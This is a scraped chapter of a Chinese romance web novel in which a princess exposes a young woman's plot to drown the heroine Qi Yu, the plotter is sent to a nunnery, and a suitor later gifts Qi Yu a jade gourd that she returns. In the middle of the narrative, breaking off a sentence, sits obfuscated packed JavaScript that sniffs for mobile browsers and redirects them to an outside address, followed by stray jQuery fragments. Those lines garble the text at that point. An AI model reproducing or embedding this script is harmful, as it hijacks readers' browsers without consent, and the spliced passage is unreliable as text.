16. 16

作品:《夫君容色冠京城

    那个丫头很快便被带了过来,站在人群中神情是掩饰不住的紧张,一双眼颤颤的时不时看向周晴的方向。


    周晴表面上镇定,可实则这一会儿心里已经慌了,心中努力的想着,试图找出一个开脱的方法。


    王妃也不废话,看着那丫头直接道:“你这丫头且老实交代,为何要害戚家二姑娘,是何缘由,亦或是为谁主使。”


    那丫头本来低着头,闻言害怕的看向周晴。


    周晴便上前一步,强撑道:“王妃,我这丫鬟一向老实,此事是不是有些误会?”


    王妃闻言,目光淡淡的看着她,道:“是否误会不知,但这狗却在人群中,只寻到你家丫鬟,便是依据。”


    “你若不服,再试一次便是。此刻园这里人多,众位夫人姑娘们个个身上都用了香,如此便再试一次,也好当着大家伙的面,看清这到底是否误会。”


    王妃此话一落,一旁的管事便拿着那件衣裳,又放到了狗的鼻子前,过后片刻,那狗便机灵的在人群中走了一圈。


    就在众人心想,这到底行不行的时候,那狗最终又站在了那小丫鬟的跟前,咬住了那裙摆。


    此情景一出,众人纷纷哗然,再看这周晴主仆二人的眼神,已经是大变。


    王妃见此冷笑一声:“周家姑娘,这狗两次都寻到了你的丫鬟,如此你还有何误会可说?”


    周晴的脸一下就白了,咬着唇似乎无可辩驳。


    其实现下,在场众人谁都明白,陷害戚羽的事情,恐怕就是这周晴所为,就是不明白两人之间到底有何仇恨,竟要周晴下如此狠手。


    戚羽站在一旁,静静的看着不发一言。


    身旁的姜氏,气愤的看着周晴,一时也没有开口,等着王妃来决断。


    王妃见周晴答不上来,淡淡道:“此事毕竟出在王府,又险些伤及人命,周姑娘同你的丫鬟,若是不能将此事说个清楚明白,我便叫人去知会京兆府来查。”


    此刻周晴已经没有了退路,她根本想不到事情会走到这样的一个地步,居然被人当场揭穿。


    会有什么后果,她已经不敢去想,也不敢再找托词,不然等此事闹到了京兆府,可就事大了。


    于是,她便急忙上前来,提起裙摆一下跪到了王妃面前,急的眼睛都发红了,声音里带着啜泣:“求王妃恕罪。”


    “是我之前同戚二姑娘有些口舌,心有不快,便想着叫丫鬟捉弄她一番,哪曾想失了分寸,差一点酿成了大祸。我自愿向戚二姑娘赔罪,求她原谅,还望王妃给我一个机会。”


    王妃见她跪的快,心想此女倒是识时务,明明是害人,却说什么玩闹,心机真是不浅。遂转头看向戚羽,叫她自己来做决定。


    “阿羽,她说要同你致歉,求你原谅,你说呢?”


    众人的目光,随之看向戚羽。


    宴淮亦是。


    他目光静静的看着戚羽的侧脸,想她说话从来温温柔柔,不管是被明月郡主撒气,还是刚才被欺负的差点溺水,她都看着毫不生气的模样,一时倒真猜不准,她会如何。


    连跪在地上的周晴,目光也忍不住的看向她,眼中既有期待,亦有隐藏的不甘。


    姜氏见此,握住了戚羽的手腕,却不说话,将决定权交给了她,只暗暗的给她支持。


    戚羽半垂着眼,面上很是平静,可出口的话,却叫跪在地上的周晴,一下子便咬了牙。


    她说:“你求我原谅,我便要原谅你吗?”


    “若是方才你的丫鬟,直接将我推入了湖中,那么此时此刻,我怕是已经沉进了湖底,没了命。”


    “而那时呢,你怕是只会畅快今日除去了我,少去了你一颗眼中钉。”


    “你如此,视我之命如草芥,却还想求我原谅?天下哪有这样便宜的道理?”


    “若非今日王妃睿智,抓到了你的把柄,你又怎会跪在这里求饶?”


    戚羽说着,余光看着周晴咬唇不语的模样,又道:“难为你如此心思,为了害我还做了王妃府中的丫鬟衣裳,可是想在我出事之后,将此事赖在王府的头上。”


    “周姑娘,你如此阴毒的算计,这般卑劣的人品行事,我无可原谅。”


    戚羽说罢,侧身朝着王妃的方向,福了福身道:“王妃,今日之事,我虽无性命之忧,可到底事关您和王府的清名,此人如何,是否送去京兆尹,还请王妃决断。”


    戚羽此言一出,一旁的宴淮微微挑了下眉。


    还行,她没有因着一群人看着的缘故,去干什么自己受委屈,却息事宁人的事儿。


    有点脾气,也很好。


    王妃闻言,轻轻拍了拍她的肩,叹道:“也是今日你命大,没被浸入湖中,否则哪还能好端端的站在这里呢?”


    说着,目光看向众人道:“今日之事大家都一同看着,我也没有冤了谁。”


    “大家能来我这花宴,也都是图个热闹,今日出了这桩事,却是怠慢了大家,还望诸位勿怪。”


    一时间众人纷纷开口安慰王妃。


    王妃只摆摆手,叹了口气道:“至于这位周姑娘,我同阿羽一般,绝不原谅。”


    跪着的周晴,撑在地上的双手已微微的颤抖,死死的咬着唇,如今事情已无转圜的余地,她后悔也无用了。


    王妃道:“今日之事出在王府,无论如何,我也要为阿羽主持公道,不能叫她受害,又受委屈。”


    “此番,当着诸位的面,我便直说了,周家姑娘蓄意伤人性命,虽无出祸,可其心甚毒,如此品行,枉受父母师长的教导,合该去尼庵里修身养性才好!”


    言罢,嘱咐身边的管事:“你去,亲自带着周姑娘回去,将此事报于周家,连同我的话一起。”


    管事应下,点了两个侍卫,带着满脸泪痕却一言不发的周晴和她的丫头离开了。


    见此,戚羽又福身行礼:“多谢王妃为我主持公道。”


    姜氏亦是道谢。


    王妃笑着摆摆手:“莫说这些客气话了,今日受委屈的是你呀。”


    明月郡主在一旁也道:“那周晴连我王府都敢算计,没送她去京兆尹挨板子,已经是我母妃宽宏大量了。”


    花宴到此,便散了。


    待众人散去之后,王妃叫了侍女来,问:“今日可有给周家下帖子?”


    侍女摇头:“没有,周家不在所邀之列。”


    王妃嗯了声,交代道:“日后记着,来客若无帖子,便不要放进王府。”


    “还有戚家那边,送些养身之物过去。”


    “再有就是周家那边,再传话过去,限他们五日之内将此事办好,若是磨磨蹭蹭,可别怪我叫人亲自把他家女儿送出去。”


    侍女遂一一应下。


    -


    待回到家中天色还早,姜氏哄着女儿回屋休息,回头便叫人去将此事通知戚父,让他如有可能早些回家。


    而随着花宴上一众夫人回家,今日发生的事,很快便在京中传开来。


    周家更是已经如遭晴天霹雳。


    周母此刻已经气疯了,又气又恨的指着跪在地上的女儿骂:“你是疯了不成!竟敢害人性命啊你!”


    “不过是一桩亲事罢了,你哥都不再提起了,你这又是为何呀!”


    周轩在一旁更是摇摇欲坠:“妹妹,你怎能如此狠毒……”


    周晴听了这话,气得一下站起身,一把将他推进凳子里,大吼道:“我还不是为了你这个窝囊废!”


    “我还不是为了给你出口气!”


    周轩捂着心口,气的眼睛都红了:“这种狠毒的事,我怎么可能叫你做!”


    “那日茶楼之后,这件事便就了了!你为何又要多生事端?况且那是茶楼也是你给我出的主意,否则我何至于在茶楼里,在她跟前如此丢脸?”


    周晴听了更怒:“明明是你自己没本事,在我跟前哀三叹四的,我才为了你想办法的!如今你却又怪起我了,你到底是不是个男人!我都要被送进尼庵了,全都是因为你!”


    眼见着儿女吵成这样,周母看着脸色明显不对的儿子,急忙上前去,满脸泪的骂周晴:“你别说了!没看到你哥又要犯病了吗!”


    “犯病就犯病,又不会死!”


    周晴眼见到此刻了,母亲还不给她想办法,却还只关心兄长的病,一下大哭着绝望的喊道:“我都要去尼庵了!娘你别管他了行不行?你看看我呀,我怎么办!”


    周母焦头烂额,一边叫儿子吃药,一边擦擦眼泪跟周晴说:“我去王府,再去求求王妃……”


    然而话正说着,门口却传来小丫头的声音,说王府来人了。


    周母便立即整理了一下仪容迎上去,谁料还未来得及开口,便听到王府的人说:“周夫人,我家王妃说了,限您五日之内,将令爱送进尼庵。”


    “若您五日之内办不妥此事,王妃自会派人亲自来办,告辞。”


    直到王府的人离开,周晴生无可恋的跌倒在地,眼泪完全模糊了视线,哭着:“难道真的没办法了吗……”


    一旁刚刚吃过药的周轩,青白着一张脸,咬了咬牙,最后道:“我去求戚二姑娘!”


    天色已近黄昏,戚羽在屋里静静的坐着,一手支着头,一手玩着小金壶。


    今日发生的事,对她来说其实不算什么,并没有十分影响她的心情,反而是玉桃吓坏了,哭的一双眼睛都肿了。


    待周轩上门的消息传来时,戚羽仍是平静,交代道:“吩咐前院,关门闭院,别管那个人。”


    “站就让他站,病了就抬走,若有大喊大叫,叫人撵走就是。”


    玉桃听了,跑着去前面交代。


    戚羽则起身,走到了一旁的榻上歪着。


    至于周家如何,她懒得想。


    一个想要自己命的人,不想着以牙还牙,一样至对方于死地,已是她最大的宽容。


    每个人都应该为自己的所作所为付出应有的代价。即便那些代价,是他们自己所不能承受的,他们也必须去承受。


    前世在宫里,她从未有过害人之心。


    可是,却生生受了不知多少次无妄之灾,她下过多少跪,磕过多少头,可那时候……谁又来饶过她,放过她呢?


    周轩在戚家门口守了大半晚上,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352264|167389||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    第二日又来,戚父出门时他找上去,戚父毫不理会。


    他便在门口继续等,直到两天后,他身子扛不住,几乎又要犯病时,被周家的下人带了回去。


    至此,周家再没来人。


    -


    国公府。


    宴淮在书桌上摆弄新弩,一边听着冬石说:“听说周家已经开始去找尼庵了,估摸着是想找一个不怎么会吃苦的。”


    “王妃叫人去尼庵,是要她去修身养性的,若是日子过得仍同在家里一般安逸,那又如何修身养性?”


    说着,他抬了抬下巴,道:“你去叫人盯着,想办法叫周家去一个,勤恳修行,自力更生的庵堂,如此才符合王妃的意思。”


    冬石嘿嘿一笑:“公子放心,这事儿好办。”


    宴淮笑笑,待眸光看到桌上摆着的小木盒时,眼神轻轻的眯了一下。


    那日出事后,她看着一直很是平静,不知是不是强撑。


    如今已几日过去了,想来……心情也好了些吧?


    那一日,他手快,有些唐突,不知道她回头是怎么想的……又能不能想出个所以然来?


    他抿着唇,舌尖顶着上颚,而后放下手里的弩,打开木盒拿出那玉葫芦,摩挲了片刻后,指尖挠了挠轻蹙的眉头。


    反正已经唐突了,倒不如再唐突一回。


    翌日,天气甚好。


    戚羽一早睡足了起来,不想再坐着,就在院子里走路。


    玉桃在一旁的墙根下做针线,时不时看她走歪了没,会不会撞到什么。


    没多久,前院的小丫头来,送了一个盒子来,说:“姑娘,这是有人送来的,说是给姑娘您的。”


    戚羽闻言回头,眸光看着小丫头手里的小方盒,莫名的,心口微微颤了一下。


    玉桃放下针线,将盒子接在了手里,拿到了她的面前,待打开后,两人看着盒子里的玉葫芦时,皆是一怔。


    玉桃更是惊得瞪大了双眼,不可置信道:“姑娘,您知道吗,这是……”


    她话都快要说出来了,可发现前院小丫头还没走时,后半句硬生生咽了下去,摆了手叫小丫头先走。


    而后,将小葫芦塞进了戚羽的手里,凑近戚羽小声道:“姑娘!您知道吗,这小玉葫芦,是宴二公子送来的!”


    “不仅如此,这块玉还是那一日,他帮您请李师父琢玉时,李师傅问他的那块,是不是准备送给心上人的那块玉!就是你手里的这块!”


    戚羽清亮的眸光,望着手心里莹白温润的玉葫芦,眼睛颤颤的眨了下。


    她记得这块玉。


    看到这玉的那一刻时,她还在想这块玉,回头不知会挂在哪位姑娘的腰间。


    可是,此时此刻,这块玉……却在她的手心。


    玉桃在一旁已经激动的不行,脸都红了,抓着她的手腕说:“姑娘啊姑娘!难怪我说宴二公子平日里都不理人的,怎么回回到咱们跟前,他又是搭话又是帮忙的,原来他竟是……心仪姑娘呢!”


    戚羽闻言,好看的眉头轻轻的蹙了起来,握了握掌心的玉,红唇微微动了动,却一时间不知该说些什么。


    实在是有些令人难以相信。


    宴淮……那么一个,成日里身边围满女子的人,他……竟会,看上自己?


    怎么都觉得不可能……


    想着,她咬唇摇摇头,对玉桃道:“也许是弄错了……”


    玉桃激动的都直跺脚:“姑娘啊,姑娘!这怎么会弄错呢!我眼睛可没瞎,这玉绝对是那块玉!”


    “况且,男女之间有什么可能会私下频频送东西呢?”


    “上回是他亲手所做的小金壶,这回又是要送给心上人的玉!他若不是心仪姑娘,为何不将这玉送给旁人呢?”


    戚羽:“……”


    她看着手中的玉,一时有些苦恼。


    那一日,他为她扶簪,她已经觉得有些不对劲。


    而且那时他还说过,他会到湖边,是因为听见了,像是她的声音,他才会去。


    他话里意思,是记得她的声音。


    加上之前种种,这几日她的确有些……心不静,胡思乱想了很多。


    但即便此刻,这玉到了她的手里,她心中依然是犹豫的。


    咬着唇,沉思了好一会儿,她才开口道:“不管这玉是什么意思,男女之间私相授受都是不对的。”


    “小金壶便罢了,但这玉我是不能收的。”


    说着,将玉放了回去,同玉桃道:“你亲自去,避着人,找到宴二公子的小厮,将这玉送回去。”


    玉桃拿着玉,眨着一双大眼睛,盯着戚羽看了好一会儿,扁了扁嘴道:“姑娘,宴二公子的心意,已经这般明显了,你就没什么想说的吗?”


    戚羽皱眉摇了摇头:“我不管他究竟是什么意思,反正这玉不能含糊收了,送回去吧。”


    有心无心,不可妄猜。


    他若真有意将这玉送给她。


    只有他当面同她说个清楚明白,她才会去斟酌,是否要收下这块玉。


    而不是如此,送也含糊不清,收也不明其意。